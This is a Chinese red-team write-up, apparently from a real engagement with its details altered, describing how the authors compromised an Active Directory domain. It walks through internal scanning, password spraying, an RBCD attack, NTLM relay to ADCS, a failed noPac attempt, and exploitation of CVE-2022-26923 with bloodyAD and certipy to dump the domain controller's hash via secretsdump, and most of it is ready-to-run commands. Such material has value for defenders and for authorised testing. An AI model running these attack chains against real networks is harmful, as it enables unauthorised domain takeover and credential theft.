文章作者:lostwolf & Jumbo
一次梦里域环境实战攻击
说明:梦里项目,相关信息如ip,域名,账户等信息都是后期编的,可能会出现文不对题,不要纠结细节。
0x01 外网打点
不多赘述。
0x02 内网资产探测
一、内网渗透一般关注以下重点系统
1.邮件服务器权限
2.OA系统权限
3.集中运维管理平台权限
4.杀毒软件管理平台权限
5.统一认证系统权限
6.域控权限
7.知识库权限
8.Git权限
关于内网如何找重点资产不在此作过多说明,通常是扫描Web Title, NetBIOS , SMBver
找域机器:fscan_amd64 -np -m netbios -h 192.168.17.1/24
二、域入口
通过前期扫描发现了域环境,想要打域第一步是要获取域机器权限或者域账号权限
通过前期域用户枚举及密码喷射快速获取到域名账号权限:admin/Passw0rd
三、域信息收集
为了减少动作尽量减少扫描,采用本地离线分析
通过 socks5 代理 本地mimikatz 注入ADExplorer.exe 进行域信息分析 :
Dump 域快照作后期分析:
ADExplorer.exe -snapshot ""
思路:首先判断是否是域管,如果是域管组用户直接省去获取域管权限
分析是否为域特权账号(AdminSDHolder 受保护组)
通常为域内高权限用户,在我的Server2008R2下包含以下组:
•Administrators
•Print Operators
•Backup Operators
•Replicator
•Domain Controllers
•Schema Admins
•Enterprise Admins
•Domain Admins
•Server Operators
•Account Operators
•Read-only Domain Controllers
•Organization Management
•Exchange Trusted Subsystem
通过对该账号分析发现adminCount 为1
说明:如果 adminCount 的值设置为 1,则表示用户已经或曾经是受保护组的成员,实际很多情况遇到adminCount=1 但非特权用户
分析是否在domain admins 组
不在域管组
项目上一般选漏洞优先选择:
1.不会对系统造成破坏
2.易于利用
3.稳定
4.尽可能新(时间差)
拿来就可用的是最好的,渗透争分夺秒,很难保证下一个小时不被踢出去,另外在实战攻防成常态情况下,管理员安全意识都提高了,基本上都会比较及时打补丁
0x03 域内机器权限获取
一、RBCD攻击
现在的权限还在非域内的环境中,为了方便通一些域内服务,需要拿下一台域内机器,根据上文得知我们现在拥有一个域账号密码,因此可以通过查询mS-DS-CreatorSID来判断我们拥有的账号权限是否可以攻击其他机器权限:
发现很多机器都是admin用户创建的,我们又有admin用户权限,即可给这些机器添加msds-allowedtoactonbehalfofotheridentity属性进行RBCD攻击。首先添加机器账号:
addcomputer.py redteam.com/admin:P@ssw0rd -computer-name evilcomputer$ -computer-pass Passw0rd -dc-ip 111.11.1.1
然后利用admin用户权限修改上述可控机器的msds-allowedtoactonbehalfofotheridentity属性(工具地址:https://github.com/Jumbo-WJB/SharpAllowedToAct-Modify):
查看是否成功(工具地址:https://github.com/Jumbo-WJB/search_rbcd):
申请票据:
利用票据登录机器:
至此获取到一台域内机器。
0x04 获取域控权限
一、ADCS漏洞
在 PKI (公钥基础结构)中,数字证书用于将公密钥对的公钥与其所有者的身份相关联。为了验证数字证书中公开的身份,所有者需要使用私钥来响应质询,只有他才能访问。
图片引用:ADCS攻击面挖掘与利用
Microsoft 提供了一个完全集成到 Windows 生态系统中的公钥基础结构 (PKI) 解决方案,用于公钥加密、身份管理、证书分发、证书撤销和证书管理。启用后,会识别注册证书的用户,以便以后进行身份验证或撤销证书,即 Active Directory Certificate Services (ADCS)。
漏洞利用
漏洞特性:需要NTLM中继
NTLM Relay to ADCS HTTP Endpoints
ntlmrelayx.py -t http://192.x.x.x/certsrv/certfnsh.asp -smb2support --adcs --template "domain controller" --no-http-server
利用 kekeo 进行 ask tgt
利用失败!
查阅相关资料发现是域控不支持该种认证方式?
后期查看CVE-2022–26923漏洞分析及复现另一种利用方法:
将前面生成的base64证书解码保存为pfx
利用certipy进行证书认证成功获取DC 机器账号hash
Dump hash
secretsdump.py -hashes :1338xxxxxxxxxxxxxxxx7 redteam.com/adserver\$@adserver.redteam.com -no-pass -just-dc
拿下dc 不在此赘述了
二、 CVE-2021-42278 and CVE-2021-42287(noPac)
漏洞利用
•CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。
•CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。
•假如域内有一台域控名为 DC(域控对应的机器用户为 DC$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 SAMTHEADMIN-48$,再把机器用户 SAMTHEADMIN-48$ 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 SAMTHEADMIN-48$。这个时候 KDC 就会判断域内没有 DC 这个用户,自动去搜索 DC$(DC$是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。
以上文字引用来源:域内权限提升新姿势:CVE-2022–26923漏洞分析及复现
自动工具:https://github.com/WazeHell/sam-the-admin
利用失败
三、 CVE-2022–26923
漏洞特性:无需中继
漏洞简介
漏洞类型: 特权提升
漏洞组件:活动目录证书服务(Active Directory Certificate Services,AD CS)
漏洞简述:通过构造机器账户并篡改dNSHostName属性,在证书申请时AD CS将dNSHostName属性嵌入证书中,进而机器账户获得高权限的域控身份。
漏洞详情: CVE-2022-26923 - 安全更新程序指南 - Microsoft - Active Directory Domain Services Elevation of Privilege Vulnerability CVE-2022-26923 (mitre.org)
漏洞利用
直接修改userPrincipalName 出现错误,出现一个约束冲突.
原因是SPN的唯一性,当我们试图将TEST\$机器账户的dNSHostName属性更新为DC-WIN2012.redteam.com时,域控制器试图更新SPN属性,该属性将被更新为包括RestrictedKrbHost/DC-WIN2012.redteam.com和HOST/DC-WIN2012.redteam.com,这将与域控制器的SPN属性冲突。
因此,通过更新TEST\机器账户的dNSHostName属性,当域控制器也试图更新TEST\机器账户的SPN时,我们间接地造成了约束性违反。
我们注意到,当我们更新dNSHostName时,只有两个值被更新和检查,即RestrictedKrbHost/TEST.redteam.com和HOST/TEST.redteam.com,其中包含dNSHostName属性值,解决措施就是删除TEST\$机器账户中这两个SPN值,在域控同步更新时不造成冲突
此时,我们使用TEST\机器账户申请证书时,颁发的证书中将会包含填充篡改后的dNSHostName,即DC-WIN2012.redteam.com。TEST\机器账户申请的证书就具备域控的身份了。
使用bloodyAD工具
参考文章:域内权限提升新姿势:CVE-2022–26923漏洞分析及复现
# 判断用户能否创建机器账户 proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 getObjectAttributes 'DC=redteam,DC=com' ms-DS-MachineAccountQuota # 创建机器账 proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 addComputer bloodyAD 'Passw0rd'
检查下,确实创建成功,不过没有预先设置dNSHostName和SPN
添加机器账户的dNSHostName需要指定可辩别名称(DistinguishedName, DN),
# 设置DNSHostName proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 setAttribute 'CN=bloodyAD,CN=Computers,DC=redteam,DC=com' DNSHostName '["DC-WIN2012.redteam.com"]' # 查询机器账户的DNSHostName proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 getObjectAttributes 'CN=TEST,CN=Computers,DC=redteam,DC=com' dnshostname
使用Certipy工具申请基于计算机模板的证书,这里的redteam-DC-WIN2012-CA在前面的AD CS配置中有设置到
Shell# 使用Certipy为TEST$账户申请证书proxychains certipy req 'redteam.com/WUHU$:Passw0rd@DC-WIN2012.redteam.com' -ca 'redteam-DC-WIN2012-CA' -template 'Machine' |
---|
此处需要注意的是,非域内需要添加-dc-ip参数否则请求失败
使用该证书进行认证,Certipy工具检索到了DC-WIN2012$的NTLM Hash。
Shellproxychains certipy auth -pfx dc-win2012.pfx -username DC-WIN2012$ -domain redteam.com -dc-ip 10.10.1.10 |
---|
至此成功获取dc机器hash。